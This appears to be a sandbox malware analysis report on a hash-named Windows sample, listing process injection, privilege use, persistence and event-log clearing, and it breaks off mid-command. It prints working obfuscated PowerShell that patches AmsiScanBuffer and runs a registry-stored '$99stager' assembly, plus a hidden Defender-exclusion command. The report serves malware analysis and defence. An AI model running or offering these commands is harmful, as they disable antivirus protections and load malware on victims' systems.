Token: SeSystemtimePrivilege	2316	svchost.exe
Token: SeBackupPrivilege	2316	svchost.exe
Token: SeRestorePrivilege	2316	svchost.exe
Token: SeShutdownPrivilege	2316	svchost.exe
Token: SeSystemEnvironmentPrivilege	2316	svchost.exe
Token: SeUndockPrivilege	2316	svchost.exe
Token: SeManageVolumePrivilege	2316	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2316	svchost.exe
Token: SeIncreaseQuotaPrivilege	2316	svchost.exe
Token: SeSecurityPrivilege	2316	svchost.exe
Token: SeTakeOwnershipPrivilege	2316	svchost.exe
Token: SeLoadDriverPrivilege	2316	svchost.exe
Token: SeSystemtimePrivilege	2316	svchost.exe
Token: SeBackupPrivilege	2316	svchost.exe
Token: SeRestorePrivilege	2316	svchost.exe
Token: SeShutdownPrivilege	2316	svchost.exe
Token: SeSystemEnvironmentPrivilege	2316	svchost.exe
Token: SeUndockPrivilege	2316	svchost.exe
Token: SeManageVolumePrivilege	2316	svchost.exe
Token: SeAssignPrimaryTokenPrivilege	2316	svchost.exe
Token: SeIncreaseQuotaPrivilege	2316	svchost.exe
Token: SeSecurityPrivilege	2316	svchost.exe
Token: SeTakeOwnershipPrivilege	2316	svchost.exe
Token: SeLoadDriverPrivilege	2316	svchost.exe
Token: SeSystemtimePrivilege	2316	svchost.exe
Token: SeBackupPrivilege	2316	svchost.exe
Token: SeRestorePrivilege	2316	svchost.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4448 wrote to memory of 5444	4448	8b76898a923d08c1cb17e3c784c6545c30cda709f62ff5e6af537fcc56950fa8.exe	86
PID 4448 wrote to memory of 5444	4448	8b76898a923d08c1cb17e3c784c6545c30cda709f62ff5e6af537fcc56950fa8.exe	86
PID 4800 wrote to memory of 5944	4800	cmd.exe	88
PID 5944 wrote to memory of 628	5944	powershell.exe	5
PID 628 wrote to memory of 684	628	winlogon.exe	7
PID 628 wrote to memory of 892	628	winlogon.exe	11
PID 628 wrote to memory of 384	628	winlogon.exe	13
PID 628 wrote to memory of 532	628	winlogon.exe	14
PID 628 wrote to memory of 328	628	winlogon.exe	15
PID 628 wrote to memory of 1052	628	winlogon.exe	16
PID 628 wrote to memory of 1120	628	winlogon.exe	17
PID 628 wrote to memory of 1132	628	winlogon.exe	18
PID 628 wrote to memory of 1208	628	winlogon.exe	20
PID 628 wrote to memory of 1220	628	winlogon.exe	21
PID 628 wrote to memory of 1292	628	winlogon.exe	22
PID 628 wrote to memory of 1340	628	winlogon.exe	23
PID 628 wrote to memory of 1360	628	winlogon.exe	24
PID 628 wrote to memory of 1504	628	winlogon.exe	25
PID 628 wrote to memory of 1532	628	winlogon.exe	26
PID 628 wrote to memory of 1588	628	winlogon.exe	27
PID 628 wrote to memory of 1608	628	winlogon.exe	28
PID 628 wrote to memory of 1628	628	winlogon.exe	29
PID 628 wrote to memory of 1808	628	winlogon.exe	30
PID 628 wrote to memory of 1856	628	winlogon.exe	31
PID 628 wrote to memory of 1884	628	winlogon.exe	32
PID 628 wrote to memory of 1964	628	winlogon.exe	33
PID 628 wrote to memory of 1972	628	winlogon.exe	34
PID 628 wrote to memory of 1892	628	winlogon.exe	35
PID 628 wrote to memory of 1896	628	winlogon.exe	36
PID 628 wrote to memory of 1924	628	winlogon.exe	37
PID 628 wrote to memory of 2108	628	winlogon.exe	38
PID 628 wrote to memory of 2240	628	winlogon.exe	39
PID 628 wrote to memory of 2316	628	winlogon.exe	41
PID 628 wrote to memory of 2376	628	winlogon.exe	42
PID 628 wrote to memory of 2468	628	winlogon.exe	43
PID 628 wrote to memory of 2500	628	winlogon.exe	44
PID 628 wrote to memory of 2508	628	winlogon.exe	45
PID 628 wrote to memory of 2616	628	winlogon.exe	46
PID 628 wrote to memory of 2660	628	winlogon.exe	47
PID 628 wrote to memory of 2740	628	winlogon.exe	48
PID 628 wrote to memory of 2764	628	winlogon.exe	49
PID 628 wrote to memory of 3052	628	winlogon.exe	50
PID 628 wrote to memory of 3064	628	winlogon.exe	51
PID 628 wrote to memory of 2908	628	winlogon.exe	53
PID 628 wrote to memory of 2776	628	winlogon.exe	54
PID 628 wrote to memory of 3212	628	winlogon.exe	55
PID 628 wrote to memory of 3292	628	winlogon.exe	56
PID 628 wrote to memory of 3416	628	winlogon.exe	57
PID 628 wrote to memory of 3612	628	winlogon.exe	58
PID 628 wrote to memory of 3856	628	winlogon.exe	60
PID 628 wrote to memory of 4088	628	winlogon.exe	62
PID 628 wrote to memory of 4816	628	winlogon.exe	64
PID 628 wrote to memory of 4864	628	winlogon.exe	66
PID 628 wrote to memory of 1912	628	winlogon.exe	68
PID 628 wrote to memory of 5532	628	winlogon.exe	69
PID 628 wrote to memory of 6092	628	winlogon.exe	71
PID 628 wrote to memory of 1696	628	winlogon.exe	72
PID 628 wrote to memory of 1556	628	winlogon.exe	73
PID 628 wrote to memory of 2116	628	winlogon.exe	74
PID 628 wrote to memory of 5888	628	winlogon.exe	75
PID 628 wrote to memory of 5492	628	winlogon.exe	76
PID 628 wrote to memory of 1716	628	winlogon.exe	77
PID 628 wrote to memory of 5540	628	winlogon.exe	78
PID 628 wrote to memory of 4544	628	winlogon.exe	91

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\winlogon.exe
winlogon.exe
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:628
- C:\Windows\system32\dwm.exe
  "dwm.exe"
  2⤵
  PID:532
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -WindowStyle Hidden -Command "Add-MpPreference -ExclusionExtension '.exe' -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:3808
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:2888
- C:\Windows\TEMP\$99Zoom.exe
  "C:\Windows\TEMP\$99Zoom.exe"
  2⤵
  - Executes dropped EXE
  PID:1772

C:\Windows\system32\lsass.exe
C:\Windows\system32\lsass.exe
1⤵
- Drops file in System32 directory
PID:684

C:\Windows\System32\WUDFHost.exe
"C:\Windows\System32\WUDFHost.exe" -HostGUID:{193a1820-d9ac-4997-8c55-be817523f6aa} -IoEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-553b6db6-e29f-432a-8c9c-74f308300334 -SystemEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-88a59819-6d51-4132-bd4f-0129855b610d -IoCancelEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-5be7f48a-637c-4bc6-bb63-76af6471f8b1 -NonStateChangingEventPortName:\UMDFCommunicationPorts\WUDF\HostProcess-24eefd50-e59d-4140-ba80-b99d587edfe8 -LifetimeId:65a65dae-3575-468a-9604-5d2231f760d5 -DeviceGroupId:WudfDefaultDevicePool -HostArg:0
1⤵
PID:892

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
1⤵
PID:384

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
1⤵
PID:328

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
1⤵
PID:1052

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s NcbService
1⤵
PID:1120

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s TimeBrokerSvc
1⤵
PID:1132

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
1⤵
- Drops file in System32 directory
PID:1208
- C:\Windows\system32\taskhostw.exe
  taskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}
  2⤵
  PID:2908

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s EventLog
1⤵
- Indicator Removal: Clear Windows Event Logs
PID:1220

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s DisplayEnhancementService
1⤵
PID:1292

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s ProfSvc
1⤵
PID:1340

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s nsi
1⤵
PID:1360

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Dhcp
1⤵
PID:1504

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s DispBrokerDesktopSvc
1⤵
PID:1532

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s UserManager
1⤵
PID:1588
- C:\Windows\system32\sihost.exe
  sihost.exe
  2⤵
  PID:3052

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s Themes
1⤵
PID:1608

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s EventSystem
1⤵
PID:1628

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s SENS
1⤵
PID:1808

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s NlaSvc
1⤵
PID:1856

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s AudioEndpointBuilder
1⤵
PID:1884

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s netprofm
1⤵
PID:1964

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1972

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s Dnscache
1⤵
PID:1892

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p
1⤵
PID:1896

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k appmodel -p -s StateRepository
1⤵
PID:1924

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
1⤵
PID:2108

C:\Windows\System32\spoolsv.exe
C:\Windows\System32\spoolsv.exe
1⤵
PID:2240

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2316

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
1⤵
PID:2376

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
1⤵
PID:2468

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
1⤵
PID:2500

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
1⤵
PID:2508

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkService -p -s CryptSvc
1⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:2616

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
1⤵
- Enumerates connected drives
PID:2660

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
1⤵
PID:2740

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
1⤵
PID:2764

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
1⤵
PID:3064

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s TokenBroker
1⤵
PID:2776

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
1⤵
PID:3212

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Suspicious behavior: GetForegroundWindowSpam
PID:3292
- C:\Users\Admin\AppData\Local\Temp\8b76898a923d08c1cb17e3c784c6545c30cda709f62ff5e6af537fcc56950fa8.exe
  "C:\Users\Admin\AppData\Local\Temp\8b76898a923d08c1cb17e3c784c6545c30cda709f62ff5e6af537fcc56950fa8.exe"
  2⤵
  - Suspicious use of SetThreadContext
  - Suspicious use of WriteProcessMemory
  PID:4448
- - C:\Windows\SysWOW64\explorer.exe
    C:\\Windows\\SysWOW64\\explorer.exe
    3⤵
    - System Location Discovery: System Language Discovery
    PID:5444

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
1⤵
PID:3416

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:3612

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:3856

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:4088

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo
1⤵
PID:4816

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:4864

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s SSDPSRV
1⤵
PID:1912

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
1⤵
PID:5532

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
1⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:6092

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p
1⤵
PID:1696

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
1⤵
PID:1556

C:\Windows\system32\SppExtComObj.exe
C:\Windows\system32\SppExtComObj.exe -Embedding
1⤵
PID:2116

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
1⤵
PID:5888

C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe
"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service
1⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:5492

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:1716

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
1⤵
PID:5540

C:\Windows\system32\cmd.exe
cmd.exe /c "powershell.exe -Command ""function Local:EHawqujyNBYx{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$ECvHRMKsBQyHed,[Parameter(Position=1)][Type]$xsobsYxmOQ)$JZeLwXFbUWu=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName('Reflec'+[Char](116)+''+[Char](101)+''+[Char](100)+''+[Char](68)+''+[Char](101)+''+'l'+''+[Char](101)+''+[Char](103)+''+[Char](97)+'t'+'e'+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+''+'n'+'M'+[Char](101)+''+'m'+''+'o'+''+'r'+''+'y'+''+'M'+''+[Char](111)+'d'+'u'+'le',$False).DefineType(''+[Char](77)+''+[Char](121)+''+[Char](68)+''+[Char](101)+'l'+[Char](101)+'g'+[Char](97)+''+[Char](116)+''+[Char](101)+''+'T'+''+[Char](121)+''+[Char](112)+''+[Char](101)+'',''+'C'+''+[Char](108)+''+[Char](97)+''+[Char](115)+''+[Char](115)+','+'P'+''+[Char](117)+''+'b'+'li'+'c'+''+','+''+[Char](83)+''+'e'+''+[Char](97)+''+[Char](108)+''+[Char](101)+''+[Char](100)+''+[Char](44)+''+[Char](65)+'n'+[Char](115)+''+[Char](105)+''+[Char](67)+''+[Char](108)+'a'+[Char](115)+'s,'+[Char](65)+''+[Char](117)+'t'+[Char](111)+''+'C'+'l'+[Char](97)+''+[Char](115)+''+'s'+'',[MulticastDelegate]);$JZeLwXFbUWu.DefineConstructor('R'+'T'+'S'+'p'+''+'e'+''+'c'+''+[Char](105)+'alN'+[Char](97)+''+[Char](109)+''+'e'+''+[Char](44)+''+'H'+'id'+'e'+''+[Char](66)+''+'y'+''+[Char](83)+''+'i'+''+'g'+''+[Char](44)+''+[Char](80)+''+[Char](117)+''+[Char](98)+''+'l'+''+[Char](105)+''+'c'+'',[Reflection.CallingConventions]::Standard,$ECvHRMKsBQyHed).SetImplementationFlags(''+'R'+''+'u'+''+[Char](110)+''+[Char](116)+''+'i'+''+[Char](109)+''+[Char](101)+','+[Char](77)+'a'+[Char](110)+''+[Char](97)+''+[Char](103)+''+'e'+''+[Char](100)+'');$JZeLwXFbUWu.DefineMethod(''+[Char](73)+''+'n'+''+[Char](118)+''+[Char](111)+''+'k'+'e',''+'P'+''+[Char](117)+''+'b'+''+[Char](108)+''+[Char](105)+''+'c'+','+[Char](72)+''+[Char](105)+''+[Char](100)+''+[Char](101)+''+'B'+''+[Char](121)+''+[Char](83)+''+[Char](105)+''+[Char](103)+',N'+[Char](101)+'w'+[Char](83)+''+[Char](108)+''+[Char](111)+''+'t'+''+[Char](44)+''+[Char](86)+''+[Char](105)+''+[Char](114)+''+'t'+'u'+[Char](97)+'l',$xsobsYxmOQ,$ECvHRMKsBQyHed).SetImplementationFlags(''+[Char](82)+''+[Char](117)+''+'n'+'t'+[Char](105)+''+[Char](109)+''+'e'+''+[Char](44)+''+[Char](77)+''+[Char](97)+''+'n'+''+'a'+'ge'+[Char](100)+'');Write-Output $JZeLwXFbUWu.CreateType();}$rNfqQQNXHKOcI=([AppDomain]::CurrentDomain.GetAssemblies()^|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+''+[Char](121)+''+'s'+''+'t'+''+'e'+''+'m'+''+[Char](46)+''+'d'+''+[Char](108)+''+[Char](108)+'')}).GetType('M'+[Char](105)+'cr'+'o'+''+[Char](115)+'of'+'t'+''+[Char](46)+''+'W'+'i'+[Char](110)+'3'+[Char](50)+''+[Char](46)+'Un'+[Char](115)+''+[Char](97)+'f'+[Char](101)+''+'N'+''+'a'+''+[Char](116)+''+[Char](105)+''+[Char](118)+''+[Char](101)+''+'M'+''+[Char](101)+''+[Char](116)+''+[Char](104)+''+[Char](111)+''+[Char](100)+'s');$IJiiIFIhdkJdtq=$rNfqQQNXHKOcI.GetMethod(''+[Char](71)+''+[Char](101)+''+[Char](116)+''+[Char](80)+''+'r'+''+[Char](111)+''+'c'+''+[Char](65)+''+[Char](100)+''+[Char](100)+''+[Char](114)+''+[Char](101)+''+[Char](115)+''+[Char](115)+'',[Reflection.BindingFlags]('P'+'u'+''+[Char](98)+''+'l'+'i'+'c'+''+[Char](44)+''+[Char](83)+'ta'+[Char](116)+''+'i'+''+[Char](99)+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$tgIbWjqNMmnFKgAUeZy=EHawqujyNBYx @([String])([IntPtr]);$GsHOoybKjsuiWKwOoBxbjh=EHawqujyNBYx @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$MhObKUDfMHO=$rNfqQQNXHKOcI.GetMethod(''+[Char](71)+''+[Char](101)+''+'t'+''+[Char](77)+'o'+[Char](100)+'ule'+[Char](72)+''+[Char](97)+'n'+'d'+''+'l'+''+[Char](101)+'').Invoke($Null,@([Object](''+'k'+''+[Char](101)+''+[Char](114)+''+'n'+''+[Char](101)+''+'l'+''+'3'+''+[Char](50)+'.'+[Char](100)+''+[Char](108)+'l')));$HLmotymsifOFtP=$IJiiIFIhdkJdtq.Invoke($Null,@([Object]$MhObKUDfMHO,[Object]('Lo'+'a'+''+'d'+''+[Char](76)+'ibr'+[Char](97)+''+[Char](114)+'y'+[Char](65)+'')));$gMEPSJGFtTnVYyidK=$IJiiIFIhdkJdtq.Invoke($Null,@([Object]$MhObKUDfMHO,[Object](''+'V'+''+[Char](105)+''+[Char](114)+''+'t'+''+'u'+''+[Char](97)+'l'+[Char](80)+''+'r'+''+[Char](111)+'t'+'e'+''+'c'+''+'t'+'')));$hxcnhDC=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($HLmotymsifOFtP,$tgIbWjqNMmnFKgAUeZy).Invoke(''+'a'+''+[Char](109)+''+[Char](115)+''+[Char](105)+''+[Char](46)+''+[Char](100)+''+[Char](108)+''+[Char](108)+'');$pDymsRxaFpbQamaZb=$IJiiIFIhdkJdtq.Invoke($Null,@([Object]$hxcnhDC,[Object](''+'A'+''+[Char](109)+''+'s'+'i'+'S'+''+[Char](99)+'a'+[Char](110)+''+'B'+''+'u'+''+'f'+'f'+[Char](101)+''+[Char](114)+'')));$vdKKAoTCWn=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($gMEPSJGFtTnVYyidK,$GsHOoybKjsuiWKwOoBxbjh).Invoke($pDymsRxaFpbQamaZb,[uint32]8,4,[ref]$vdKKAoTCWn);[Runtime.InteropServices.Marshal]::Copy([Byte[]]([Byte](158-27),[Byte](113+79),[Byte](142-142),[Byte](235-51),[Byte](58+29),[Byte](96-96),[Byte](95-88),[Byte](231-103),[Byte](18+113),[Byte](3+232),[Byte](208-208),[Byte](28+167),[Byte](56+75),[Byte](154+80),[Byte](45-45)),0,$pDymsRxaFpbQamaZb,218-203);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($gMEPSJGFtTnVYyidK,$GsHOoybKjsuiWKwOoBxbjh).Invoke($pDymsRxaFpbQamaZb,[uint32]8,0x20,[ref]$vdKKAoTCWn);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+'S'+'O'+[Char](70)+''+[Char](84)+'W'+[Char](65)+'R'+'E'+'').GetValue(''+[Char](36)+''+'9'+''+[Char](57)+''+[Char](115)+''+[Char](116)+''+'a'+'g'+[Char](101)+''+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)"""
1⤵
- Executes a command shell one-liner
- System Time Discovery
- Suspicious use of WriteProcessMemory
PID:4800
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command ""function Local:EHawqujyNBYx{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$ECvHRMKsBQyHed,[Parameter(Position=1)][Type]$xsobsYxmOQ)$JZeLwXFbUWu=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName('Reflec'+[Char](116)+''+[Char](101)+''+[Char](100)+''+[Char](68)+''+[Char](101)+''+'l'+''+[Char](101)+''+[Char](103)+''+[Char](97)+'t'+'e'+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+''+'n'+'M'+[Char](101)+''+'m'+''+'o'+''+'r'+''+'y'+''+'M'+''+[Char](111)+'d'+'u'+'le',$False).DefineType(''+[Char](77)+''+[Char](121)+''+[Char](68)+''+[Char](101)+'l'+[Char](101)+'g'+[Char](97)+''+[Char](116)+''+[Char](101)+''+'T'+''+[Char](121)+''+[Char](112)+''+[Char](101)+'',''+'C'+''+[Char](108)+''+[Char](97)+''+[Char](115)+''+[Char](115)+','+'P'+''+[Char](117)+''+'b'+'li'+'c'+''+','+''+[Char](83)+''+'e'+''+[Char](97)+''+[Char](108)+''+[Char](101)+''+[Char](100)+''+[Char](44)+''+[Char](65)+'n'+[Char](115)+''+[Char](105)+''+[Char](67)+''+[Char](108)+'a'+[Char](115)+'s,'+[Char](65)+''+[Char](117)+'t'+[Char](111)+''+'C'+'l'+[Char](97)+''+[Char](115)+''+'s'+'',[MulticastDelegate]);$JZeLwXFbUWu.DefineConstructor('R'+'T'+'S'+'p'+''+'e'+''+'c'+''+[Char](105)+'alN'+[Char](97)+''+[Char](109)+''+'e'+''+[Char](44)+''+'H'+'id'+'e'+''+[Char](66)+''+'y'+''+[Char](83)+''+'i'+''+'g'+''+[Char](44)+''+[Char](80)+''+[Char](117)+''+[Char](98)+''+'l'+''+[Char](105)+''+'c'+'',[Reflection.CallingConventions]::Standard,$ECvHRMKsBQyHed).SetImplementationFlags(''+'R'+''+'u'+''+[Char](110)+''+[Char](116)+''+'i'+''+[Char](109)+''+[Char](101)+','+[Char](77)+'a'+[Char](110)+''+[Char](97)+''+[Char](103)+''+'e'+''+[Char](100)+'');$JZeLwXFbUWu.DefineMethod(''+[Char](73)+''+'n'+''+[Char](118)+''+[Char](111)+''+'k'+'e',''+'P'+''+[Char](117)+''+'b'+''+[Char](108)+''+[Char](105)+''+'c'+','+[Char](72)+''+[Char](105)+''+[Char](100)+''+[Char](101)+''+'B'+''+[Char](121)+''+[Char](83)+''+[Char](105)+''+[Char](103)+',N'+[Char](101)+'w'+[Char](83)+''+[Char](108)+''+[Char](111)+''+'t'+''+[Char](44)+''+[Char](86)+''+[Char](105)+''+[Char](114)+''+'t'+'u'+[Char](97)+'l',$xsobsYxmOQ,$ECvHRMKsBQyHed).SetImplementationFlags(''+[Char](82)+''+[Char](117)+''+'n'+'t'+[Char](105)+''+[Char](109)+''+'e'+''+[Char](44)+''+[Char](77)+''+[Char](97)+''+'n'+''+'a'+'ge'+[Char](100)+'');Write-Output $JZeLwXFbUWu.CreateType();}$rNfqQQNXHKOcI=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+''+[Char](121)+''+'s'+''+'t'+''+'e'+''+'m'+''+[Char](46)+''+'d'+''+[Char](108)+''+[Char](108)+'')}).GetType('M'+[Char](105)+'cr'+'o'+''+[Char](115)+'of'+'t'+''+[Char](46)+''+'W'+'i'+[Char](110)+'3'+[Char](50)+''+[Char](46)+'Un'+[Char](115)+''+[Char](97)+'f'+[Char](101)+''+'N'+''+'a'+''+[Char](116)+''+[Char](105)+''+[Char](118)+''+[Char](101)+''+'M'+''+[Char](101)+''+[Char](116)+''+[Char](104)+''+[Char](111)+''+[Char](100)+'s');$IJiiIFIhdkJdtq=$rNfqQQNXHKOcI.GetMethod(''+[Char](71)+''+[Char](101)+''+[Char](116)+''+[Char](80)+''+'r'+''+[Char](111)+''+'c'+''+[Char](65)+''+[Char](100)+''+[Char](100)+''+[Char](114)+''+[Char](101)+''+[Char](115)+''+[Char](115)+'',[Reflection.BindingFlags]('P'+'u'+''+[Char](98)+''+'l'+'i'+'c'+''+[Char](44)+''+[Char](83)+'ta'+[Char](116)+''+'i'+''+[Char](99)+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$tgIbWjqNMmnFKgAUeZy=EHawqujyNBYx @([String])([IntPtr]);$GsHOoybKjsuiWKwOoBxbjh=EHawqujyNBYx @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$MhObKUDfMHO=$rNfqQQNXHKOcI.GetMethod(''+[Char](71)+''+[Char](101)+''+'t'+''+[Char](77)+'o'+[Char](100)+'ule'+[Char](72)+''+[Char](97)+'n'+'d'+''+'l'+''+[Char](101)+'').Invoke($Null,@([Object](''+'k'+''+[Char](101)+''+[Char](114)+''+'n'+''+[Char](101)+''+'l'+''+'3'+''+[Char](50)+'.'+[Char](100)+''+[Char](108)+'l')));$HLmotymsifOFtP=$IJiiIFIhdkJdtq.Invoke($Null,@([Object]$MhObKUDfMHO,[Object]('Lo'+'a'+''+'d'+''+[Char](76)+'ibr'+[Char](97)+''+[Char](114)+'y'+[Char](65)+'')));$gMEPSJGFtTnVYyidK=$IJiiIFIhdkJdtq.Invoke($Null,@([Object]$MhObKUDfMHO,[Object](''+'V'+''+[Char](105)+''+[Char](114)+''+'t'+''+'u'+''+[Char](97)+'l'+[Char](80)+''+'r'+''+[Char](111)+'t'+'e'+''+'c'+''+'t'+'')));$hxcnhDC=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($HLmotymsifOFtP,$tgIbWjqNMmnFKgAUeZy).Invoke(''+'a'+''+[Char](109)+''+[Char](115)+''+[Char](105)+''+[Char](46)+''+[Char](100)+''+[Char](108)+''+[Char](108)+'');$pDymsRxaFpbQamaZb=$IJiiIFIhdkJdtq.Invoke($Null,@([Object]$hxcnhDC,[Object](''+'A'+''+[Char](109)+''+'s'+'i'+'S'+''+[Char](99)+'a'+[Char](110)+''+'B'+''+'u'+''+'f'+'f'+[Char](101)+''+[Char](114)+'')));$vdKKAoTCWn=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($gMEPSJGFtTnVYyidK,$GsHOoybKjsuiWKwOoBxbjh).Invoke($pDymsRxaFpbQamaZb,[uint32]8,4,[ref]$vdKKAoTCWn);[Runtime.InteropServices.Marshal]::Copy([Byte[]]([Byte](158-27),[Byte](113+79),[Byte](142-142),[Byte](235-51),[Byte](58+29),[Byte](96-96),[Byte](95-88),[Byte](231-103),[Byte](18+113),[Byte](3+232),[Byte](208-208),[Byte](28+167),[Byte](56+75),[Byte](154+80),[Byte](45-45)),0,$pDymsRxaFpbQamaZb,218-203);[Runtime.I